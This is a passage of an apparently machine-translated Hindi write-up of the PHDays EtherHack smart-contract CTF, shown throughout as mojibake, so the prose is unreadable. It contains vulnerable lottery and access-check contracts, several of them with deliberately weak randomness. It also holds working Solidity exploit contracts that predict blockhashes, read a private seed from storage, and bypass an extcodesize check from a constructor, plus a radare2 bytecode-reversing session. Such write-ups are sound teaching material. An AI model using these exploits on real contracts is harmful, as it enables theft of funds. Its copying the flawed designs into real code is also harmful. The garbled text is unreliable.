
рдЗрд╕ рд╕рд╛рд▓, PHDays рдиреЗ рдкрд╣рд▓реА рдмрд╛рд░
рдПрдереЗрд░реИрдХ рдирд╛рдордХ рдПрдХ рдкреНрд░рддрд┐рдпреЛрдЧрд┐рддрд╛ рдХреА рдореЗрдЬрдмрд╛рдиреА рдХреАред рдкреНрд░рддрд┐рднрд╛рдЧрд┐рдпреЛрдВ рдиреЗ рдЧрддрд┐ рдХреЗ рд▓рд┐рдП рд╕реНрдорд╛рд░реНрдЯ рдЕрдиреБрдмрдВрдзреЛрдВ рдореЗрдВ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреА рддрд▓рд╛рд╢ рдХреАред рдЗрд╕ рд▓реЗрдЦ рдореЗрдВ рд╣рдо рдЖрдкрдХреЛ рдкреНрд░рддрд┐рдпреЛрдЧрд┐рддрд╛ рдХреЗ рдХрд╛рд░реНрдпреЛрдВ рдФрд░ рдЙрдиреНрд╣реЗрдВ рд╣рд▓ рдХрд░рдиреЗ рдХреЗ рд╕рдВрднрд╛рд╡рд┐рдд рддрд░реАрдХреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдмрддрд╛рдПрдВрдЧреЗред
рдЕрдЬрд╝рд┐рдиреЛ 777
рд▓реЙрдЯрд░реА рдЬреАрддреЛ рдФрд░ рдмрд░реНрддрди рддреЛрдбрд╝реЛ!
рдкрд╣рд▓реЗ рддреАрди рдХрд╛рд░реНрдп рдЫрджреНрдо рдЖрдпрд╛рдореА рд╕рдВрдЦреНрдпрд╛ рдХреА рдкреАрдврд╝реА рдореЗрдВ рддреНрд░реБрдЯрд┐рдпреЛрдВ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рдереЗ, рдЬрд┐рдирдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╣рдордиреЗ рд╣рд╛рд▓ рд╣реА рдореЗрдВ рдмрд╛рдд рдХреА рдереА:
Ethereum рд╕реНрдорд╛рд░реНрдЯ рдЕрдиреБрдмрдВрдзреЛрдВ рдореЗрдВ рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рд╕рдВрдЦреНрдпрд╛ рдХреА рднрд╡рд┐рд╖реНрдпрд╡рд╛рдгреА рдХрд░реЗрдВ ред рдкрд╣рд▓рд╛ рдХрд╛рд░реНрдп рдПрдХ рдЫрджреНрдо рдЖрдпрд╛рдореА рд╕рдВрдЦреНрдпрд╛ рдЬрдирд░реЗрдЯрд░ (PRNG) рдкрд░ рдЖрдзрд╛рд░рд┐рдд рдерд╛, рдЬреЛ рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рд╕рдВрдЦреНрдпрд╛ рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдиреНрдЯреНрд░рд╛рдкреА рдХреЗ рд╕реНрд░реЛрдд рдХреЗ рд░реВрдк рдореЗрдВ рдЕрдВрддрд┐рдо рдмреНрд▓реЙрдХ рдХреЗ рд╣реИрд╢ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рдерд╛:
pragma solidity ^0.4.16; contract Azino777 { function spin(uint256 bet) public payable { require(msg.value >= 0.01 ether); uint256 num = rand(100); if(num == bet) { msg.sender.transfer(this.balance); } }
рдЪреВрдВрдХрд┐
block.blockhash(block.number-1)
рдлрд╝рдВрдХреНрд╢рди
block.blockhash(block.number-1)
рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХрд╛ рдкрд░рд┐рдгрд╛рдо рдЙрд╕реА рдмреНрд▓реЙрдХ рдХреЗ рднреАрддрд░ рдХрд┐рд╕реА рднреА рд▓реЗрдирджреЗрди рдХреЗ рд▓рд┐рдП рд╕рдорд╛рди рд╣реЛрдЧрд╛, рд╣рдорд▓реЗ рдПрдХ рдЖрдВрддрд░рд┐рдХ рд╕рдВрджреЗрд╢ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд▓рдХреНрд╖реНрдп рдЕрдиреБрдмрдВрдз рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╣реА
rand()
рдлрд╝рдВрдХреНрд╢рди рдХреЗ рд╕рд╛рде рдПрдХ рд╢реЛрд╖рдг рдЕрдиреБрдмрдВрдз рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
function WeakRandomAttack(address _target) public payable { target = Azino777(_target); } function attack() public { uint256 num = rand(100); target.spin.value(0.01 ether)(num); }
рдирд┐рдЬреА рд░рд┐рдпрд╛рди
рд╣рдордиреЗ рдПрдХ рдирд┐рдЬреА рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдореВрд▓реНрдп рдЬреЛрдбрд╝рд╛ рд╣реИ рдЬрд┐рд╕реЗ рдХреЛрдИ рднреА рдХрднреА рднреА рдЧрдгрдирд╛ рдирд╣реАрдВ рдХрд░реЗрдЧрд╛ред
рдпрд╣ рдХрд╛рд░реНрдп рдкрд┐рдЫрд▓реЗ рд╡рд╛рд▓реЗ рдХрд╛ рдереЛрдбрд╝рд╛ рдЬрдЯрд┐рд▓ рд╕рдВрд╕реНрдХрд░рдг рд╣реИред рдмреАрдЬ рдЪрд░, рдЬрд┐рд╕реЗ рдирд┐рдЬреА рдорд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ, рдХрд╛ рдЙрдкрдпреЛрдЧ рдмреНрд▓реЙрдХ рдСрд░реНрдбрд┐рдирд▓ рдирдВрдмрд░ (рдмреНрд▓реЙрдХ.рдирдВрдмрд░) рдХреЛ рдСрдлрд╕реЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдмреНрд▓реЙрдХ рдХрд╛ рд╣реИрд╢ рдкрд┐рдЫрд▓реЗ рдмреНрд▓реЙрдХ рдкрд░ рдирд┐рд░реНрднрд░ рди рд╣реЛред рдкреНрд░рддреНрдпреЗрдХ рд╢рд░реНрдд рдХреЗ рдмрд╛рдж, рдмреАрдЬ рдХреЛ рдПрдХ рдирдП "рдпрд╛рджреГрдЪреНрдЫрд┐рдХ" рдСрдлрд╕реЗрдЯ рдореЗрдВ рдлрд┐рд░ рд╕реЗ рд▓рд┐рдЦрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП,
рд╕реНрд▓реЙрдереЗрд░реЗрдпрдо рд▓реЙрдЯрд░реА рдореЗрдВ рдмрд╕ рдпрд╣реА рдерд╛ред
contract PrivateRyan { uint private seed = 1; function PrivateRyan() { seed = rand(256); } function spin(uint256 bet) public payable { require(msg.value >= 0.01 ether); uint256 num = rand(100); seed = rand(256); if(num == bet) { msg.sender.transfer(this.balance); } } }
рдкрд┐рдЫрд▓реЗ рдХрд╛рд░реНрдп рдХреА рддрд░рд╣, рд╣реИрдХрд░ рдХреЛ рдХреЗрд╡рд▓ рдХреЙрдиреНрдЯреНрд░реИрдХреНрдЯ рд╢реЛрд╖рдг рдореЗрдВ
rand()
рдлрд╝рдВрдХреНрд╢рди рдХреА рдкреНрд░рддрд┐рд▓рд┐рдкрд┐ рдмрдирд╛рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдереА, рд▓реЗрдХрд┐рди рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ рдирд┐рдЬреА рдЪрд░ рдмреАрдЬ рдХрд╛ рдореВрд▓реНрдп рдмреНрд▓реЙрдХрдЪреЗрди рдХреЗ рдмрд╛рд╣рд░ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рдерд╛ рдФрд░ рдлрд┐рд░ рдПрдХ рддрд░реНрдХ рдХреЗ рд░реВрдк рдореЗрдВ рд╢реЛрд╖рдг рдХреЛ рднреЗрдЬрд╛ рдЧрдпрд╛ рдерд╛ред рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдк web3 рд▓рд╛рдЗрдмреНрд░реЗрд░реА рд╕реЗ
web3.eth.getStorageAt () рд╡рд┐рдзрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдореВрд▓реНрдп рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмреНрд▓реЙрдХрдЪреЗрди рдХреЗ рдмрд╛рд╣рд░ рдЕрдиреБрдмрдВрдз рдХреА рджреБрдХрд╛рди рдХреЛ рдкрдврд╝рдирд╛рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдореВрд▓реНрдп рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рдпрд╣ рдХреЗрд╡рд▓ рд╢реЛрд╖рдХ рдХреЛ рднреЗрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдмрдирд╛ рд░рд╣рддрд╛ рд╣реИ, рдЬреЛ рдкрд╣рд▓реЗ рдХрд╛рд░реНрдп рдореЗрдВ рд▓рдЧрднрдЧ рд╕рдорд╛рди рд╣реИ:
contract PrivateRyanAttack { PrivateRyan target; uint private seed; function PrivateRyanAttack(address _target, uint _seed) public payable { target = PrivateRyan(_target); seed = _seed; } function attack() public { uint256 num = rand(100); target.spin.value(0.01 ether)(num); } }
рднрд╛рдЧреНрдп рдХрд╛ рдкрд╣рд┐рдпрд╛
рдпрд╣ рд▓реЙрдЯрд░реА рдмрд╛рдж рдХреЗ рдмреНрд▓реЙрдХ рдХреЗ рд╣реИрд╢ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреА рд╣реИред рдпрд╣ рдЧрдгрдирд╛ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЛ!
рдЗрд╕ рдХрд╛рд░реНрдп рдореЗрдВ, рдЙрд╕ рдмреНрд▓реЙрдХ рдХреЗ рд╣реИрд╢ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдирд╛ рдЖрд╡рд╢реНрдпрдХ рдерд╛ рдЬрд┐рд╕рдХреА рд╕рдВрдЦреНрдпрд╛ рд╕рдЯреНрдЯреЗ рдХреЗ рдмрд╛рдж рдЧреЗрдо рд╕рдВрд░рдЪрдирд╛ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХреА рдЧрдИ рдереАред рдЕрдЧрд▓реА рдмрд╛рдЬреА рд▓рдЧрдиреЗ рдХреЗ рдмрд╛рдж рдПрдХ рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рд╕рдВрдЦреНрдпрд╛ рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдпрд╣ рд╣реИрд╢ рдирд┐рдХрд╛рд▓рд╛ рдЧрдпрд╛ред
Pragma solidity ^0.4.16; contract WheelOfFortune { Game[] public games; struct Game { address player; uint id; uint bet; uint blockNumber; } function spin(uint256 _bet) public payable { require(msg.value >= 0.01 ether); uint gameId = games.length; games.length++; games[gameId].id = gameId; games[gameId].player = msg.sender; games[gameId].bet = _bet; games[gameId].blockNumber = block.number; if (gameId > 0) { uint lastGameId = gameId - 1; uint num = rand(block.blockhash(games[lastGameId].blockNumber), 100); if(num == games[lastGameId].bet) { games[lastGameId].player.transfer(this.balance); } } } function rand(bytes32 hash, uint max) pure private returns (uint256 result){ return uint256(keccak256(hash)) % max; } function() public payable {} }
рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, рджреЛ рд╕рдВрднрд╛рд╡рд┐рдд рд╕рдорд╛рдзрд╛рди рд╣реИрдВред
- рд╢реЛрд╖рдг рдЕрдиреБрдмрдВрдз рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд▓рдХреНрд╖реНрдп рдЕрдиреБрдмрдВрдз рдХреЛ рджреЛ рдмрд╛рд░ рдХреЙрд▓ рдХрд░реЗрдВред Block.blockhash (block.number) рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХрд╛ рдкрд░рд┐рдгрд╛рдо рд╣рдореЗрд╢рд╛ рд╢реВрдиреНрдп рд╣реЛрдЧрд╛ред
- 256 рдмреНрд▓реЙрдХреЛрдВ рдХреЗ рдЕрдВрджрд░ рдЦрд┐рд╕рдХрдиреЗ рдФрд░ рджреВрд╕рд░рд╛ рджрд╛рдВрд╡ рд▓рдЧрд╛рдиреЗ рдХреА рдкреНрд░рддреАрдХреНрд╖рд╛ рдХрд░реЗрдВред рдЙрдкрд▓рдмреНрдз рдмреНрд▓реЙрдХ рд╣реИрд╢ рдХреА рд╕рдВрдЦреНрдпрд╛ рдкрд░ Ethereum Virtual Machine (EVM) рдХреА рд╕реАрдорд╛рдУрдВ рдХреЗ рдХрд╛рд░рдг рд╕рдВрдЧреНрд░рд╣реАрдд рдмреНрд▓реЙрдХ рдЕрдиреБрдХреНрд░рдо рд╕рдВрдЦреНрдпрд╛ hash рд╢реВрдиреНрдп рд╣реЛрдЧреАред
рджреЛрдиреЛрдВ рд╣реА рдорд╛рдорд▓реЛрдВ рдореЗрдВ, рдЬреАрддрдиреЗ рд╡рд╛рд▓рд╛ рджрд╛рдВрд╡
uint256(keccak256(bytes32(0))) % 100
рдпрд╛ "47" рд╣реЛрдЧрд╛ред
рд╢рд╛рдпрдж рдореБрдЭреЗ рдмреБрд▓рд╛рдУ
рдпрд╣ рдЕрдиреБрдмрдВрдз рддрдм рдкрд╕рдВрдж рдирд╣реАрдВ рдХрд░рддрд╛ рдЬрдм рдЕрдиреНрдп рдЕрдиреБрдмрдВрдз рдЗрд╕реЗ рдХрд╣рддреЗ рд╣реИрдВред
рдПрдХ рдЕрдиреБрдмрдВрдз рдХреЛ рдЕрдиреНрдп рдЕрдиреБрдмрдВрдзреЛрдВ рд╕реЗ рдмреБрд▓рд╛рдП рдЬрд╛рдиреЗ рд╕реЗ рдмрдЪрд╛рдиреЗ рдХрд╛ рдПрдХ рддрд░реАрдХрд╛ рдХреЛрдбрд╛рдВрддрд░рдХ рдЕрдиреБрджреЗрд╢ рдИрд╡реАрдПрдо рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╣реИ, рдЬреЛ рдЕрдиреБрдмрдВрдз рдХреЗ рдЖрдХрд╛рд░ рдХреЛ рдЙрд╕рдХреЗ рдкрддреЗ рдкрд░ рд▓реМрдЯрд╛рддрд╛ рд╣реИред рд╡рд┐рдзрд┐ рдЗрд╕ рдирд┐рд░реНрджреЗрд╢ рдХрд╛ рдЙрдкрдпреЛрдЧ рд▓реЗрдирджреЗрди рдкреНрд░реЗрд╖рдХ рдХреЗ рдкрддреЗ рдХреЗ рд▓рд┐рдП рдХреЛрдбрд╛рдВрддрд░рдХ рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░рддреА рд╣реИред рдпрджрд┐ рдкрд░рд┐рдгрд╛рдо рд╢реВрдиреНрдп рд╕реЗ рдЕрдзрд┐рдХ рд╣реИ, рддреЛ рд▓реЗрдирджреЗрди рдХрд╛ рдкреНрд░реЗрд╖рдХ рдПрдХ рдЕрдиреБрдмрдВрдз рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рдПрдереЗрд░рд┐рдпрдо рдореЗрдВ рд╕рд╛рдорд╛рдиреНрдп рдкрддреЗ рдХрд╛ рдХреЛрдИ рдХреЛрдб рдирд╣реАрдВ рд╣реИред рдпрд╣ рдареАрдХ рдпрд╣реА рджреГрд╖реНрдЯрд┐рдХреЛрдг рдерд╛ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдЗрд╕ рдХрд╛рд░реНрдп рдореЗрдВ рдЕрдиреНрдп рдЕрдиреБрдмрдВрдзреЛрдВ рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рд╕реЗ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред
contract CallMeMaybe { modifier CallMeMaybe() { uint32 size; address _addr = msg.sender; assembly { size := extcodesize(_addr) } if (size > 0) { revert(); } _; } function HereIsMyNumber() CallMeMaybe { if(tx.origin == msg.sender) { revert(); } else { msg.sender.transfer(this.balance); } } function() payable {} }
tx.origin
рд▓реЗрди-рджреЗрди
tx.origin
рд▓реЗрди-рджреЗрди рдХреЗ рдореВрд▓ рдирд┐рд░реНрдорд╛рддрд╛, рдФрд░ msg.sender рдХреЛ рдЕрдВрддрд┐рдо рдХреЙрд▓ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИред рдпрджрд┐ рд╣рдо рд╕рд╛рдорд╛рдиреНрдп рдкрддреЗ рд╕реЗ рд▓реЗрди-рджреЗрди рднреЗрдЬрддреЗ рд╣реИрдВ, рддреЛ рдпреЗ рдЪрд░ рдмрд░рд╛рдмрд░ рд╣реЛрдВрдЧреЗ, рдФрд░ рд╣рдо
revert()
рд╕рд╛рде рд╕рдорд╛рдкреНрдд рд╣реЛ рдЬрд╛рдПрдВрдЧреЗред рдЗрд╕рд▓рд┐рдП, рд╣рдорд╛рд░реА рд╕рдорд╕реНрдпрд╛ рдХреЛ рд╣рд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП,
extcodesize
рдирд┐рд░реНрджреЗрд╢ рдХреЗ рд╕рддреНрдпрд╛рдкрди рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рдерд╛ рддрд╛рдХрд┐
tx.origin
рдФрд░
msg.sender
рдЕрд▓рдЧ
msg.sender
рдЕрд▓рдЧ рд╣реЛрдВред рд╕реМрднрд╛рдЧреНрдп рд╕реЗ, рдИрд╡реАрдПрдо рдореЗрдВ рдПрдХ рдЕрдЪреНрдЫреА рд╕реБрд╡рд┐рдзрд╛ рд╣реИ рдЬреЛ рдЗрд╕рдХреЗ рд╕рд╛рде рдорджрдж рдХрд░ рд╕рдХрддреА рд╣реИ:

рджрд░рдЕрд╕рд▓, рдЬрдм рдмрд╕ рд░рдЦрд╛ рдЧрдпрд╛ рдЕрдиреБрдмрдВрдз рдХрдВрд╕реНрдЯреНрд░рдХреНрдЯрд░ рдореЗрдВ рдХреБрдЫ рдЕрдиреНрдп рдЕрдиреБрдмрдВрдз рдХреЛ рдХреЙрд▓ рдХрд░рддрд╛ рд╣реИ, рддреЛ рдпрд╣ рд╕реНрд╡рдпрдВ рдмреНрд▓реЙрдХрдЪреИрди рдореЗрдВ рдореМрдЬреВрдж рдирд╣реАрдВ рд╣реИ, рдпрд╣ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдПрдХ рд╡реЙрд▓реЗрдЯ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИред рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдХреЛрдб рдирдП рдЕрдиреБрдмрдВрдз рдХреЗ рд▓рд┐рдП рдмрд╛рдзреНрдп рдирд╣реАрдВ рд╣реИ рдФрд░ рдПрдХреНрд╕рдХреЛрдбреЗрд╕рд╛рдЗрдЬ рд╢реВрдиреНрдп рд╡рд╛рдкрд╕ рдЖ рдЬрд╛рдПрдЧрд╛:
contract CallMeMaybeAttack { function CallMeMaybeAttack(CallMeMaybe _target) payable { _target.HereIsMyNumber(); } function() payable {} }
рддрд╛рд▓рд╛
рддрд╛рдЬреНрдЬреБрдм рд╣реИ, рдорд╣рд▓ рдмрдВрдж рд╣реИред рдЕрдирд▓реЙрдХ рдлрд╝рдВрдХреНрд╢рди (рдмрд╛рдЗрдЯреНрд╕ 4 рдкрд┐рдирдХреЛрдб) рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкрд┐рди рдХреЛрдб рд▓реЗрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВред рдЕрдирд▓реЙрдХ рдХрд░рдиреЗ рдХреЗ рдкреНрд░рддреНрдпреЗрдХ рдкреНрд░рдпрд╛рд╕ рдореЗрдВ рдЖрдкрдХреЛ 0.5 рдИрдерд░ рдЦрд░реНрдЪ рд╣реЛрдВрдЧреЗред
рдЗрд╕ рдХрд╛рд░реНрдп рдореЗрдВ, рдкреНрд░рддрд┐рднрд╛рдЧрд┐рдпреЛрдВ рдХреЛ рдПрдХ рдХреЛрдб рдирд╣реАрдВ рджрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ - рдЙрдиреНрд╣реЗрдВ рдЗрд╕рдХреЗ рдмрд╛рдЗрдЯрдХреЛрдб рджреНрд╡рд╛рд░рд╛ рдЕрдиреБрдмрдВрдз рдХреЗ рддрд░реНрдХ рдХреЛ рдкреБрдирд░реНрд╕реНрдерд╛рдкрд┐рдд рдХрд░рдирд╛ рдерд╛ред рдПрдХ рд╡рд┐рдХрд▓реНрдк рд░реЗрдбрд╛рд░реЗ 2 рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдерд╛, рдПрдХ рдордВрдЪ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдИрд╡реАрдПрдо рдХреЛ рд╣рдЯрд╛рдиреЗ рдФрд░
рдбрд┐рдмрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
рд╢реБрд░реВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдо рдЕрд╕рд╛рдЗрдирдореЗрдВрдЯ рдХрд╛ рдПрдХ рдЙрджрд╛рд╣рд░рдг рдкреЛрд╕реНрдЯ рдХрд░реЗрдВрдЧреЗ рдФрд░ рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рдкрд░ рдХреЛрдб рджрд░реНрдЬ рдХрд░реЗрдВрдЧреЗ:
await contract.unlock("1337", {value: 500000000000000000}) тЖТfalse
рдмреЗрд╢рдХ, рдкреНрд░рдпрд╛рд╕ рдЕрдЪреНрдЫрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдЕрд╕рдлрд▓ рд╣реИред рдЕрдм рдЗрд╕ рд▓реЗрдирджреЗрди рдХреЛ рдбреАрдмрдЧ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВред
r2 -a evm -D evm "evm://localhost:8545@0xf7dd5ca9d18091d17950b5ecad5997eacae0a7b9cff45fba46c4d302cf6c17b7"
рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, рд╣рдо Radare2 рдХреЛ evm рдЖрд░реНрдХрд┐рдЯреЗрдХреНрдЪрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХрд╛ рдирд┐рд░реНрджреЗрд╢ рджреЗрддреЗ рд╣реИрдВред рдпрд╣ рдЙрдкрдХрд░рдг рддрдм рдПрдереЗрд░рд┐рдпрдо рдиреЛрдб рд╕реЗ рдЬреБрдбрд╝рддрд╛ рд╣реИ рдФрд░ рд╡рд░реНрдЪреБрдЕрд▓ рдорд╢реАрди рдореЗрдВ рдЗрд╕ рд▓реЗрдирджреЗрди рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рддрд╛ рд╣реИред рдФрд░ рдЕрдм, рдЕрдВрдд рдореЗрдВ, рд╣рдо рдИрд╡реАрдПрдо рдмрд╛рдпрдЯреЗрдХреЛрдб рдореЗрдВ рдЧреЛрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рддреИрдпрд╛рд░ рд╣реИрдВред
рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, рдЖрдкрдХреЛ рдПрдХ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ:
[0x00000000]> aa [x] Analyze all flags starting with sym. and entry0 (aa)
рдЕрдЧрд▓рд╛, рд╣рдо рдкрд╣рд▓реЗ 1000 рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХреЛ рдЗрдХрдЯреНрдард╛ рдХрд░рддреЗ рд╣реИрдВ (рдпрд╣ рд╕рдВрдкреВрд░реНрдг рдЕрдиреБрдмрдВрдз рдХреЛ рдХрд╡рд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП) рдкреАрдбреА 1000 рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, рдФрд░ рд╡реАрд╡реА рдХрдорд╛рдВрдб рдХреЗ рд╕рд╛рде рдЧреНрд░рд╛рдл рдХреЛ рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП рд╕реНрд╡рд┐рдЪ рдХрд░реЗрдВред
рдИрд╡реАрдПрдо рдмрд╛рдЗрдЯ рдХреЛрдб рдореЗрдВ
solc
рд╕рд╛рде рд╕рдВрдХрд▓рд┐рдд, рдЖрдорддреМрд░ рдкрд░ рдлрд╝рдВрдХреНрд╢рди рдкреНрд░рдмрдВрдзрдХ рдкрд╣рд▓реЗ рдЖрддрд╛ рд╣реИред рдлрд╝рдВрдХреНрд╢рди рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рд╡рд╛рд▓реЗ рдХреЙрд▓ рдбреЗрдЯрд╛ рдХреЗ рдкрд╣рд▓реЗ рдЪрд╛рд░ рдмрд╛рдЗрдЯреНрд╕ рдХреЗ рдЖрдзрд╛рд░ рдкрд░, рдЬрд┐рд╕реЗ рдмрд╛рдЗрдЯреНрд╕ 4
bytes4(sha3(function_name(params)))
рд░реВрдк рдореЗрдВ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдлрд╝рдВрдХреНрд╢рди рдореИрдиреЗрдЬрд░ рдирд┐рд░реНрдгрдп рд▓реЗрддрд╛ рд╣реИ рдХрд┐ рдХрд┐рд╕ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд░рдирд╛ рд╣реИред рд╣рдо
unlock(bytes4)
рдлрд╝рдВрдХреНрд╢рди
unlock(bytes4)
рдореЗрдВ рд░реБрдЪрд┐ рд░рдЦрддреЗ рд╣реИрдВ, рдЬреЛ
0x75a4e3a0
рдореЗрд▓ рдЦрд╛рддреА рд╣реИред
S рдХреБрдВрдЬреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП рдирд┐рд╖реНрдкрд╛рджрди рдкреНрд░рд╡рд╛рд╣ рдХреЗ рдмрд╛рдж, рд╣рдо рдЙрд╕ рдиреЛрдб рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░рддреЗ рд╣реИрдВ рдЬреЛ
callvalue
рддреБрд▓рдирд╛
0x6f05b59d3b20000
рдпрд╛
500000000000000000
рдореВрд▓реНрдп рдХреЗ рд╕рд╛рде рдХрд░рддрд╛ рд╣реИ, рдЬреЛ 0.5 рдИрдерд░ рдХреЗ рдмрд░рд╛рдмрд░ рд╣реИ:
push8 0x6f05b59d3b20000 callvalue lt
рдпрджрд┐ рдкреНрд░рджрд╛рди рдХрд┐рдпрд╛ рдЧрдпрд╛ рдИрдерд░ рдкрд░реНрдпрд╛рдкреНрдд рд╣реИ, рддреЛ рд╣рдо рдЦреБрдж рдХреЛ рдПрдХ рдиреЛрдб рдореЗрдВ рдкрд╛рддреЗ рд╣реИрдВ рдЬреЛ рдПрдХ рдирд┐рдпрдВрддреНрд░рдг рд╕рдВрд░рдЪрдирд╛ рдЬреИрд╕рд╛ рджрд┐рдЦрддрд╛ рд╣реИ:
push1 0x4 dup4 push1 0xff and lt iszero push2 0x1a4 jumpi
рдХреЛрдб рд╕реНрдЯреИрдХ рдХреЗ рд╢реАрд░реНрд╖ рдкрд░ рдорд╛рди 0x4 рд░рдЦрддрд╛ рд╣реИ, рдКрдкрд░реА рдмрд╛рдЙрдВрдб (рдорд╛рди 0xff рд╕реЗ рдЕрдзрд┐рдХ рдирд╣реАрдВ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП) рдХреА рдЬрд╛рдБрдЪ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдХреБрдЫ рдорд╛рди рдХреЗ рд╕рд╛рде lt рдХреА рддреБрд▓рдирд╛ рдХрд░рддрд╛ рд╣реИ рдЬреЛ рд╕реНрдЯреИрдХ рдХреЗ рдЪреМрдереЗ рддрддреНрд╡ (рдбреБрдк 4) рд╕реЗ рдбреБрдкреНрд▓рд┐рдХреЗрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред
